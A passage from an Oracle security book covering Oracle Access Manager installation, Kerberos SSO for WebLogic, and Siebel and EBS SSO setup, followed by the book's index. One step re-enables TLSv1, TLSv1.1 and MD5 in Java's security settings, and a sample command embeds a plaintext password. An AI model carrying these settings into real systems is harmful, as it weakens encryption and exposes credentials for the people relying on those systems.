Oracle Access Manager Previously known as Oblix and Oracle Coreid, OAM is an enterprise solution that is the authentication, authorization, and auditing solution that provides the centralized security administration. It’s considered an important part of the full cycle of single sign-on because it provides personalization and user profile management. Furthermore, OAM can work perfectly with heterogeneous application environments, which means any other application not related to the Oracle family. As a result, Oracle Access Manager allows the right levels of access to each group so that everyone can access only the data that is appropriate for them. There are alternatives for OAM; two important competitors are MediaValet and WebDAM. MediaValet does not offer the services of agent management, auditing, or logging; it provides different things such as collaboration environment, project review, and approval and robust media 296

Chapter 7

Single Sign-On

management. WebDAM is considered the same as Oracle Access Manager, since it’s web based and provides different features such as centralized policy administration, logging services, and collaboration. In addition, OAM includes these components: •

Webgate is a web server plug-in for Oracle Access Manager that intercepts HTTP requests and forwards them to the access server for authentication and authorization.



WebPass is a web server where the information passes between it and OAM.



Policy Manager is part of OAM, and it’s responsible for writing a policy data to the LDAP server (in our case it’s Oracle Internet Directory). This leads to updating the access server with the policy and modifying it; also the policy manager enables administrators to manage the policies and system configuration through the OAM console.



The Identity administration is for managing all user identity, group, organization, and credential management requests.

Oracle Access Manager Prerequisites OAM does not do all the work alone; therefore, there are requirements that should be done before installing OAM, as listed here: •

An LDAP server, for instance Oracle Internet Directory. There are alternatives, but always check the certification between the products.



A web server, such as Oracle HTTP server.

297

Chapter 7

Single Sign-On



Webgate is a plug-in that will be installed on the web server to forward requests to OAM.



When you install Oracle Access Manager, you will be asked to specify the LDAP repository you are using, so there should be communication between the Oracle Access Manager identity manager and the LDAP server.

Oracle Access Manager Resource Type After OAM installation, you have access to the console to configure and integrate OAM with the application. This can be by resource type, which describes the resource to be protected and adds it to the application domain. There are three types of resource provided in OAM, as described in Table 7-1. Note that the administrator can add custom resources.

Table 7-1.  Oracle Access Manager Resource Type Resource Type

Operations

Description

HTTP

Get, post, delete, head, trace

This is the default resource in OAM and can include HTTPS.

wl_authen

None

This is a resource type used for the WebLogic authentication schema.

TokenServiceRP

None

This is used for token services.

Custom resource

None

This creates on-demand for SSO integrations.

Figure 7-43 explains the resource manager page.

298

Chapter 7

Single Sign-On

Figure 7-43.  Adding and managing a policy resource

Oracle Access Manager Authentication After any authentication, OAM should validate the user privileges. This is done with the authentication schema, which defines the challenge mechanism required to authenticate a user. Figure 7-44 explains the OAM authentication schema.

299

Chapter 7

Single Sign-On

Figure 7-44.  Creating the authentication schema

Oracle Access Manager Single Sign-On Cookie When a user attempts to access a protected application, the request comes to the SSO engine, and the controller checks for the existence of the cookie. The request goes from Webgate to the access server. Once the user is validated by Oracle Access Manager authentication, the ObSSOCookie is set. Oracle Access Manager uses the cookie for subsequent requests instead of prompting the user to provide authentication credentials.

Oracle Access Manager Installation The next step in this chapter is to configure Oracle Access Manager. OAM is considered to be part of Fusion Middleware and is deployed on WebLogic. Like with many Fusion Middleware products, the following should be done: 1. Install Java, and make sure of the compatibility between products. 2. Install WebLogic. 300

Chapter 7

Single Sign-On

3. Install Oracle Access Manager software. 4. Run the Repository Creation Utility for OAM. 5. Run the configurations script and follow the onscreen prompts. The first three steps as the same as earlier in this chapter. Therefore, we will discuss the installation and configuration after step 4. Download Oracle Access Manager from the Oracle Technology Network download page, as shown in Figure 7-45.

Figure 7-45.  Downloading Oracle Access Manager After downloading the software and installing it, the administrator should configure OAM by creating a database schema using the Repository Creation Utility.

Configure the Repository Creation Utility for OAM To start the RCU, follow these steps: 1. Verify that the JDK exists on the server and make sure it’s certified by checking the version. java -version 301

Chapter 7

Single Sign-On

2. Ensure that the JAVA_Home points to the right location to avoid any issue with RCU creation. Linux/Unix: export JAVA_HOME=/u01/app/ jdk1.8.0_131 Windows: set JAVA_HOME=c:\jdk1.8.0_131 3. After the software installation, in our case OID, change to the following directory: Linux/Unix: ORACLE_HOME/oracle_common/bin Windows: ORACLE_HOME\oracle_common\bin 4. Run the following command: Linux/Unix: ./rcu Windows: rcu.bat 5. The usual welcome screen will appear. On the welcome screen, select the type of installation you want. Each type is used for a different case like the following: •

System load and product load: Select this if you have the necessary permissions and privileges to perform DBA activities on your database.



Prepare scripts for system load: If you do not have the necessary permissions or privileges to perform DBA activities in the database, the script should be provided by the DBA. After running the script, you must run the RCU again and choose Perform Product Load.



Drop repository: This deletes the schema that was created before.

See Figure 7-46.

302

Chapter 7

Single Sign-On

Figure 7-46.  RCU installation type Provide the database connection with the following details: host name (either IP or server name), Listener port, database service name, and username and password (must have DBA privileges). RCU supports different database types. The valid options are Oracle, IBM DB2, and SQL Server. See Figure 7-47.

303

Chapter 7

Single Sign-On

Figure 7-47.  RCU database connection Check the prerequisites (see Figure 7-48).

304

Chapter 7

Single Sign-On

Figure 7-48.  Check prerequisites Figure 7-49 allows you to choose the prefix for the Fusion Middleware schema. Once you choose OAM, it will automatically select the following dependencies: •

Common Infrastructure Services



Oracle Platform Security Services



Audit Services Append



Audit Services Viewer



Audit Services



Metadata Services



WebLogic Services 305

Chapter 7

Single Sign-On

Figure 7-49.  OAM database creation prefix Check the database prerequisites; once this is done, click OK. See Figure 7-50.

306

Chapter 7

Single Sign-On

Figure 7-50.  Database prerequisites Specify how you want to set the schema passwords on your database, and then enter and confirm your passwords. Either you choose the same passwords for all schema or you choose a different password for each schema. See Figure 7-51.

307

Chapter 7

Single Sign-On

Figure 7-51.  Schema passwords Figure 7-52 shows the information about the created schema and each component for each schema. The default tablespace for the schema is included with the temporary tablespace. Click Next and then check the summary and click Create.

308

Chapter 7

Single Sign-On

Figure 7-52.  Schema mapping Figure 7-53 summarizes the tablespace and schema creation; you can review the logs.

309

Chapter 7

Single Sign-On

Figure 7-53.  Completion summary

Configure the OAM Domain For the Oracle Access Manager domain, the configuration wizard will be used. To start the configuration wizard, follow these steps: 1. Change to the following directory: Linux/Unix: ORACLE_HOME/oracle_common/common/bin Windows: ORACLE_HOME\oracle_common\common\bin 2. Once the path has been changed, run the following command: Linux/UNIX: ./config.sh Windows: config.cmd 310

Chapter 7

Single Sign-On

Figure 7-54 shows you two options: create new domain, in case you want to create a new domain on the server, or update the existing domain.

Figure 7-54.  OAM domain creation Make sure you check the Oracle Access Management suite. Once this done, the following dependencies will be checked (see Figure 7-55): •

Oracle Enterprise Manager



Oracle JRF



WebLogic Coherence Cluster Extension

311

Chapter 7

Single Sign-On

Figure 7-55.  OAM template Set the application location for the domain. See Figure 7-56.

312

Chapter 7

Single Sign-On

Figure 7-56.  Application location Enter the WebLogic password, save it, and click Next. See Figure 7-57.

313

Chapter 7

Single Sign-On

Figure 7-57.  WebLogic password Figure 7-58 is related to the RCU created before and includes information such as the database type, host name/server IP, listener port, and schema owner. The default username is prefix_STB, where prefix is the custom prefix that you defined in the RCU. Once the information entered, click Next.

314

Chapter 7

Single Sign-On

Figure 7-58.  RCU database configuration It’s the same as the OID installation and configuration. If the administration chooses an advanced installation and selects Administration Server, it will be allowed to change the default values. If nothing is checked in Figure 7-59 for the default value and stand-­ alone installation, there is no need to check anything. If the administrator wants to create a cluster or change the default values, then check one of the options and click Next; this will lead to the summary page in Figure 7-­60.

315

Chapter 7

Single Sign-On

Figure 7-59.  Basic OAM installation If you choose any of the advanced installations, you will go through options such as Administration Server, Node Manager, Manager Server, Cluster, Server Templates, Coherence Cluster, Machines, Assign Server to Machines, Virtual Target, Partitions, and finally Configuration Summary.

316

Chapter 7

Single Sign-On

Figure 7-60.  Summary page without advanced installation After this, start the administration server and Node Manager by using the scripts shown earlier in this chapter. See Figure 7-61.

317

Chapter 7

Single Sign-On

Figure 7-61.  Installation done successfully •

WebLogic console: http://domainname:7001/console



OAM console: http://domain:7001/oamconsole

Verify the OAM Installation Access the WebLogic console and enter the username and password for the user named weblogic. See Figure 7-62.

318

Chapter 7

Single Sign-On

Figure 7-62.  WebLogic console All the managed servers should have a state of Running to allow you to access the OAM console. See Figure 7-63.

Figure 7-63.  Starting the OAM manager server

319

Chapter 7

Single Sign-On

If the administrator wants to integrate OAM with OAAM, there is one additional step, which is to update the Java.Security file. See Figure 7-64. a) Open the Java.Security file located at JAVA_HOME/ jre/lib/security/ in the editor. b) Remove TLSv1, TLSv1.1, and MD5withRSA from the following key: jdk.tls.disabledAlgorithms c) Remove MD5 from the following key: jdk.certpath.disabledAlgorithms

Figure 7-64.  OAM console main page Once OAM is installed and verified, the environment now has the following components: Java, WebLogic, Oracle Internet Directory, Oracle Access Manager, and finally the database.

320

Chapter 7

Single Sign-On

Single Sign-on Examples In this section, we provide some examples and case scenarios for SSO. Each one of these cases is different. The EBS integration is different between vendors, and not all the setups are the same. Perhaps in one environment you will use Oracle Internet Directory and Oracle Access Manager, in another you will only use OID or any other LDAP server, and in a third you will only use a provider in WebLogic and so on.

Integrate WebLogic with Kerberos This is considered the cheapest SSO solution, which only depends on WebLogic and the Kerberos protocol. The application that deploys on WebLogic, for example, will be WebCenter; the users in the company will usually access their computers using their Active Directory account (the computers will be connected to company domain). These are some disadvantages for this method: •

Troubleshooting this setup is not easy and needs a professional or expert consultant.



If the Kerberos server is down, no one will be able to log in to the system at all.



Each network service requires a different host name; this should be set up with Kerberos keys every time and can complicate virtual hosting and clusters.



Kerberos has a strict time sync: no more than five minutes.

321

Chapter 7

Single Sign-On

The following steps should be done to enable this method: 1. Set up Active Directory. 2. Configure the Kerberos file. 3. Configure the WebLogic server. 4. Enable SSO for the application, in our case WebCenter. 5. [optional] Configure the Oracle HTTP server. 6. Set up the client browser.

Active Directory Setup This should be done by the system administrator, but the information should be provided by the database administrator to create an AD username/password (in our case it will be kerberossso). The user account’s encryption type must be DES, and the account must require Kerberos pre-authentication.

Create a Kerberos File Create krb5.ini, which is a file containing configuration information for Windows. The file name will be krb5.ini, but for other platforms it’s krb5. conf, and the default location depends on the operating system.

322



Windows: c:\winnt\krb5.ini



Linux: /etc/krb5.conf



Unix: /etc/krb5/krb5.conf

Chapter 7

Single Sign-On

Here’s a sample of krb5.ini (for a single domain only): [libdefaults]               default_realm = TESTDOMAIN.LOCALDOMAIN.COM               dns_lookup_kdc = true               dns_lookup_realm = true [realms]               TESTDOMAIN.LOCALDOMAIN.COM = {                      kdc = TEST1.TESTDOMAIN.LOCALDOMAIN.COM                      kdc = TEST2.TESTDOMAIN.LOCALDOMAIN.COM                      kdc = TEST3.TESTDOMAIN.LOCALDOMAIN.COM                      kdc = TEST3.TESTDOMAIN.LOCALDOMAIN.COM                      default_domain = TESTDOMAIN.LOCALDOMAIN.COM Once the file has been created, verify if krb.ini is correct by running the following command: kinit wlsclient

Create the Keytab File The file must be created on an Active Directory machine. Running the following command will modify the account details: ktpass -princ HTTP/SLKRBTRN6-03@ TESTDOMAIN.LOCALDOMAIN.COM -mapuser wlsclient -pass oracle123 -crypto all -kvno 0 -ptype KRB5_NT_PRINCIPAL -out test.keytab Copy the generated keytab file to a WebLogic server and run the klist command to check the content of the keytab file. klist -e -k test.keytab

323

Chapter 7

Single Sign-On

Configure the WebLogic Server Configure the WebLogic server by configuring a file called krb5Login.conf, which is supposed to be in the same domain directory as the following syntax. Change it depending on your environment and input the following: com.sun.security.jgss.krb5.initiate { com.sun.security.auth.module.Krb5LoginModule required principal="@" useKeyTab=true keyTab= storeKey=true debug=true; }; com.sun.security.jgss.krb5.accept { com.sun.security.auth.module.Krb5LoginModule required principal="@" useKeyTab=true keyTab= storeKey=true debug=true; }; Add the following lines to StartWebloic.cmd (Windows) and startWeblogic.sh (Linux). These lines will allow WebLogic to read from the keytab. -Djava.security.auth.login.config=krb5Login.conf -Djavax.security.auth.useSubjectCredsOnly=false -Dweblogic.security.enableNegotiate=true -Dsun.security.krb5.debug=true

324

Chapter 7

Single Sign-On

The file will look like the following: set JAVA_OPTIONS=%JAVA_OPTIONS% -Djava.security. auth.login.config=krb5Login.conf –Djavax.security. auth.useSubjectCredsOnly=false –Dweblogic.security. enableNegotiate=true -Dsun.security.krb5.debug=true

Test the Configuration Do the following steps: 1. Start the domain and create a WebLogic provider. In the left panel, click Security Realms ➤ Myrealms ➤ Provider, and create a new provider called “Active directory authenticator.” 2. Create another WebLogic provider. In the left panel, select Security Realms ➤ Myrealms ➤ Provider and create a new provider called NegotiateIdentityAsserter. 3. The browser should be configured for Kerberos authentication; there are three common options for the browser. •

Chrome •



No special configuration

Mozilla Firefox •

In the location bar, enter about:config.



From Filter, choose network.negotiate.



Double-click delegation-uris and trusted-uris, and then make sure they’re http and https.

325

Chapter 7

Single Sign-On



Internet Explorer/Edge •

Select Tools ➤ Internet Options, select the Security tab, then Local intranet, and then Sites.



Verify that the proxy server address is correct.

Configure SSO for a Siebel Application The environment will be a fully installed database, Siebel, WebLogic, Oracle Internet Directory, Oracle Access Manager, and Oracle HTTP Server. The following steps show how to configure SSO for a Siebel application: 1. Access the ODSM console and create a WebLogic user under users. 2. Create a group called Administrators. Add WebLogic and orcladmin inside this group. 3. A system container should contain three users. See Figure 7-65.

a. Siebel bind user



b. Sadmin



c. Ldapuser

326

Chapter 7

Single Sign-On

Figure 7-65.  The final setup for OID 4. Now the OID setup is done for Siebel; therefore, the integration between OAM and OID should be done. Access http://localhost:7001/oamconsole. Follow these steps:

a. Change to the System Configuration tab.



b. Select Data Source. Click the New button to create a new identity store called OID.



c. The store type will be Oracle Internet Directory.



d. For Location, we entered IP-SCAN:3060 since we are using RAC.



e. For Bind DN, you can use orcladmin, or in our case we used the Siebel Bind user that we created earlier. See Figure 7-66.

327

Chapter 7

Single Sign-On

Figure 7-66.  Creating a user identity store The integration is done between OID and OAM, but one more step is to create a provider in WebLogic, which will change the authentication order. The OID provider will be type OracleInternetDirectoryAuthenticator with the control flag sufficient. Then create the OAM provider type OAMIdentityAsserter with the control flag required. See Figure 7-67.

328

Chapter 7

Single Sign-On

Figure 7-67.  WebLogic provider for SSO

 onfigure SSO for EBS 12.2.x, Integration C with Oracle Access Manager, and Oracle Internet Directory Oracle E-Business Suite is one of the most common applications in Oracle. SSO will increase the security level for this application since it has different modules such as HR, Payroll, and more. For the SSO configuration, there are couple of patches that should be done on EBS before starting the SSO, as well as some scripts that must run before implementing any configuration on the EBS side. This section focuses on the OID and OAM parts without the EBS side and shows you how SSSO is different from one application to another.

329

Chapter 7

Single Sign-On

1. The first step is to create a unique constraint attribute in OID. See Figure 7-68.

Figure 7-68.  Creating a unique constraint attribute in OID 2. The next step is to integrate OID with EBS. To do that, run the following script that is located in $FND_TOP/bin: txkrun.pl -script=SetOAMReg -registeroam=yes 3. Oracle provides packages that should be run to set profile options for EBS. To learn more about these packages, refer to document 2339348.1 at http://support.oracle.com. 4. The next step is to install Webgate on the existing OHS of EBS 12.2.x by running the following command: txkrun.pl -script=SetOAMReg -installWebgate=yes -webgatestagedir=

330

Chapter 7

Single Sign-On

5. Create an access gate managed server, which is deploying Oracle E-Business Suite AccessGate. perl $AD_TOP/patch/115/bin/adProvisionEBS.pl ebscreate-­oaea_resources \ -contextfile=$CONTEXT_FILE \ -deployApps=accessgate \ -SSOServerURL= \ [-managedsrvname=] \ [-managedsrvport=] \ -logfile= 6. Register Oracle E-Business Suite with Oracle Access Manager. txkrun.pl -script=SetOAMReg -registeroam=yes In summary, single sign-on authentication is now required more than ever. Each company has a different kind of application that the end users or employees have to deal with, so creating centralized login system has become a necessity to include all of these applications. It also provides great security, improves employee satisfaction, and finally lowers costs. Furthermore, there is no one standard method to apply SSO. Each company has different requirements and budgets to do that. As you can see from the examples in this chapter, you can use OAM and OID together, OID by itself, or even Active Directory. Single sign-on eliminates system administrator work because it is no longer required to take care of all the employee credentials manually.

331

Index A Access control entries (ACEs), 168 Access control lists (ACLs) check the privileges, 182, 183 concepts principals, 171, 172 privileges, 172 create existing, 179, 181 creation, 175–178 deletion, 179 dropping, 184, 185 file system, 168 Linux, 168 syntax, 169 HTTPS certification icon download, 189 certification path, 190 copying certification, 192 create, wallet, 194 exporting certification, 194 test, web site, 195 viewing certification, 191, 193 web site, 189 network, 169, 170 SQL, 170

testing UTL_HTTP, 185, 186 UTL_SMTP, 187, 188 types, 167 administer key management command, 4 Advanced encryption standard (AES) algorithm, 39 Aggregate privilege, 172 alter system command, 3 Async buffering forwarder, 139 async.py file, 139 Atomic privilege, 172 Audits accessing information, 67, 68 comparing methods, 54 configuration drift objects, 74 ORACLE_HOME directory, 72, 73 security, 70–72 connection by os_username/ username/terminal/ userhost, 56, 57 database API, 48 FGA, 52, 53, 55 normal audit, 49

© Osama Mustafa, Robert P. Lockard 2019 O. Mustafa and R. P. Lockard, Oracle Database Application Security, https://doi.org/10.1007/978-1-4842-5367-0

333

INDEX

BUSINESS LOGIC schema (HR_BL), 204

build API schema, 226, 227, 229, 231 creating roles and privileges, 224, 225 tablespace enc_dat, 218 error handling create help schema, 232 create tables, 232, 234, 235 DML, select and insert, 236–238 errorstack_pkg package, 241 connect to help_api schema, 242, 243 help_desk_insert, 240 connect as test_user1, 241 using delegate option, 240 grant roles to packages, 223, 224 HR_API schema, 219, 221 package name declaration, 222 Column encryption creating table, 17 primary key foreign key constraint, 19 rekey option, 19 salt or no salt, 18 SSN, 18 Communication protocol, 126

C

D

Class of Secure Transport (COST) parameter, 137 Code-based access control (CBAC), 106, 200, 203

Database accounts, 128 creating users, 163 passwords, 163–165 unused accounts, 163

Audits (cont.) trigger event, 48 unified audit, 50, 51 event_timestamp column, 69 invalid login attempts, 58–60 privileges, 62 reports, 56 sql statements, 62 who performed the action, 69 Authentication/authorization accounts type, 128 considerations, 129 cracking types, 129 DBA role, 131 orabfscript, 132 password, 128 password cracker, 133 spare4 value, 130 SQL files, 130 SYS user, 129 SYSMAN, 131 system privileges, 132

B

334

Index

Data definition language (DML), 198 Data Pump, 36–38 DATAPUMP_EXP_FULL_ DATABASE, 76 DBA_ACL_NAME_MAP, 174 DBA_UNUSED_OBJPRIVS, 103, 104 DBA_UNUSED_OBJPRIVS_PATH, 101, 102 DBA_UNUSED_PRIVS, 96–98 DBA_UNUSED_SYSPRIVS_PATH, 99, 100 DBA_UNUSED_SYSPRIVS view, 100, 101 DBA_UNUSED_USERPRIVS, 105, 106 DBA_UNUSED_USERPRIVS_ PATH, 104, 105 DBA_USED_OBJPRIVS view, 90–92 DBA_USED_PRIVS views, 85–87 DBA_USED_PUBPRIVS, 94–96 DBA_USED_SYSPRIVS views capture run, 88 column definitions, 89 DBA_USED_USERPRIVS view, 92–94 DBMS_NETWORK_ACL_ADMIN, 173, 175 DBMS_NETWORK_ACL_ADMIN. APPEND_HOST_ACE, 175 DBMS_NETWORK_ACL_UTILITY, 173 DBMS_SQL package, 152 DECLARATIONS schema, 203

Delegated administration services (DAS), 247 Diffie-Hellman key algorithm, 39

E Encryption database, 30 integrity, parameters, 44, 45 network configure, 39 cross bordered issues, 43 parameters, 41, 42 settings, 42, 43 RMAN, 35–38 ERRORS API schema (help_api), 204 exec_clob package, 155 extproc library, 127

F Fine-grained access control (FGAC), 170 Fine-grained auditing, 52 Fusion middleware, 251

G Ghost data algorithms, 34 column encryption, 33 definition, 31 drop tablespace, 33 encrypted index, 32 335

INDEX

Ghost data (cont.) external table encryption, 34 fully encrypt, 33 online encryption of tablespace, 34 tablespace encryption, 33

H HR_API schema, 203

I, J Intrusion detection system (IDS), 125 Intrusion prevention system (IPS), 125

K Keystore, 1–2, 6–8, 16, 17

L LDAP data interchange format (LDIF), 248 Lightweight Directory Access Protocol (LDAP), 264 Listener node checking, 162 runtime administration, 162 set password, 161 LISTENER.ora, 161 336

M Man-in-the-middle (MITM) attack, 135

N Network encryption, 39 Node Manager, 262, 284

O OID domain administration server, 293 admin server/WebLogic, 283, 284 advanced configuration, 282, 283 application location, 278 assigning servers, 289–291 cluster, 286, 287 coherence cluster, 287, 288 configuration wizard, 275, 276 creation, 276 database configuration, 281, 282 installation progress, 292 Java location, 279, 280 machine, 288, 289 managed server, 293 manager server, 285, 286 Node Manager, 284, 285, 292 RCU database, 280, 281 template, 277 WebLogic password, 278, 279 Operating system accounts, 128 orabfscript, 132

Index

Oracle access manager (OAM), 249 authentication, 299, 300 defined, 296 domain configuration application location, 312, 313 configuration wizard, 310 creation, 311 RCU, 314, 315 summary page, 315–317 templates, 311, 312 WebLogic password, 313, 314 download, 301 Fusion Middleware, 300, 301 installation verification Java.Security file, 320 managed servers, 319 WebLogic, 318, 319 ObSSOCookie, 300 policy manager, 297 prerequisites, 297 RCU completion summary, 309, 310 database connection, 303, 304 database prerequisites, 306, 307 dependencies, 305, 306 installation type, 302, 303 prerequisites, 304, 305 schema mapping, 308, 309 schema passwords, 307, 308 welcome screen, 302 resource type, 298, 299 Webgate, 297

WebLogic, 300 WebPass, 297 Oracle E-Business Suite, 329 Oracle internet directory (OID), 171, 249 attributes, 265 database connection, 294, 295 defined, 264 directory entries, 265 distributed directories, 265 domain configuration (see OID domain) LDAP, 264 links, 293 ODSM, 295, 296 RCU, 265 database connection, 269 installation type, 267, 268 JDK, 266 OID database, 270, 271 prerequisites check, 270, 272 schemas mapping, 273, 274 schemas password, 272, 273 tablespace creation, 274, 275 welcome screen, 266, 267 Oracle Webgate configuration summary, 263, 264 Java version, 259, 260 matrix certification, 251 Node Manager, 262, 263 OHS component, 260, 261 configuration, 257 domain, 257, 258 337

INDEX

Oracle Webgate (cont.) server configuration, 261, 262 templates, 258, 259 Oracle HTTP Server, 251 installation location, 252 installation summary, 255, 256 installation type, 252, 253 prerequisites, 253, 254 security update, 254, 255 welcome screen, 251 Oradebug, 159, 160 orapki tool, 194

P, Q Privilege, definition of, 172

R recv() function, 157 Repository Creation Utility (RCU), 257, 266 RMAN, 35, 36 Role set, 172

S Schema-only accounts, 202, 217 Secure coding and design common database schema, 198–200 improved design API schema, 201, 202 CBAC, 200 trusted path, 200 338

SQL injection bug, 198, 199 Secure sockets layer (SSL), 51, 185 Security descriptor, 168 Security patch, 166 Simple Mail Transfer Protocol (SMTP), 176, 187 Single sign-on (SSO) authentication, 246 authorization, 247 benefits, 245, 246 EBS constraint attribute, OID, 330 Oracle Access Manager, 331 profile options, 330 Integrate WebLogic with Kerberos (see WebLogic with Kerberos) mod_wl_ohs, 247 OID installation (see Oracle internet directory (OID)) Oracle, 246 Oracle Webgate installation (see Oracle Webgate) security realm, 247 Siebel application ODSM, 326 OID setup, 327 user identity store, 328 users, 326 WebLogic provider, 328, 329 topology, 249, 250 user management, 247 smtp.localdomain.net, 187 Snttread() function, 157

Index

SQL injection, 151, 165 sqlnet.ora file, 39, 44, 131 Stack overflows, 127 sys_context function, 50, 77 SYS.DBMS_PRIVILEGE_CAPTURE CAPTURE_ADMIN privilege, 77 capture modes context, 79 database, 78 role, 78 role and context, 79 gather privileges, 77 procedures (see SYS.DBMS_ PRIVILEGE_CAPTURE procedures) SYS account, 76 test case CAPTURE_ADMIN privileges, 111 CBAC, 108 CREATE SESSION privilege, 116 DEFINERS, 110 employees privilege, 107 HR_API, 107, 119 hr_api.manage_dept_pkg, 119 insert_emp_rol role, 109 privileges, capture, 113 row-insertion, 114, 121, 123 SSN column, 107 used object privileges, 118 usr1, 106 usr1, departments table, 116

test case capture_admin privileges, 112 CREATE SESSION privilege, 116 DEFINERS, 110 employees privilage, 108 hr_api.manage_dept_pkg, 121 insert_emp_rol role, 110 row-insertion, 122 SSN column, 107 SYS.DBMS_PRIVILEGE_CAPTURE procedures CREATE_CAPTURE, 80, 82 DISABLE_CAPTURE, 83 DROP_CAPTURE, 84 ENABLE_CAPTURE, 82 GENERATE_RESULTS, 84

T Tablespace encryption vs. column encryption, 22–24 create table, 21 DBA, 21, 22 external table, 24, 25, 27–29 ONLINE option, 20 Threats authentication/authorization (see Authentication/ authorization) categories, 126 code running, 127 debugging, 127 339

INDEX

Threats (cont.) protocols to communicate, 126 testing, 127 DBMS_SCHEDULER, 159 file system, 160 operating system create a file, 156 delete file, 155 Java version, 153 methods, 153 root, 155 shell, 155 Oradebug, 159, 160 PL/SQL injection, 150 DBMS_SQL package, 152 department table, 152 employee table, 152 query, 152 SQL injection, 151 VDEPT parameter, 151 rootkit, 157 TNS(see TNS poisoning) wrapper function, 158 TNS poisoning async.py, 139 COST, 137 database versions, 136, 150 information, 134 listener, 149 MITM, 135 processes and ports, 133 status command, 135 values, 136 340

Transparent data encryption (TDE) administer key management command, 4, 5 alter system command, 3 create user c##sec_admin, 3 definition, 1 keystore, 2 master keys create, 6 V$DATABASE_KEY_INFO, 13, 14 V$ENCRYPTION_KEYS, 9–13 V$ENCRYPTION_WALLET, 7–9 password keystore, 16 rekey, 15 set configuration, 3 Trusted path accessible by clause, 213, 214, 216 API schema, 203 BUSINESS LOGIC schema, 204 DECLARATIONS schema, 203 definer’s rights, 206, 208, 209 extracting code sys.all_source, 205 invoker’s rights, 210, 212, 213 Trustee, 168

U, V Unified audit, 50–51

Index

W, X, Y, Z WebCenter, 321 WebLogic with Kerberos Active Directory setup, 322 Kerberos file, 322

keytab file, 323 testing, configuration, 325, 326 WebCenter, 321 WebLogic server, 324, 325 WSARecv() function, 157

341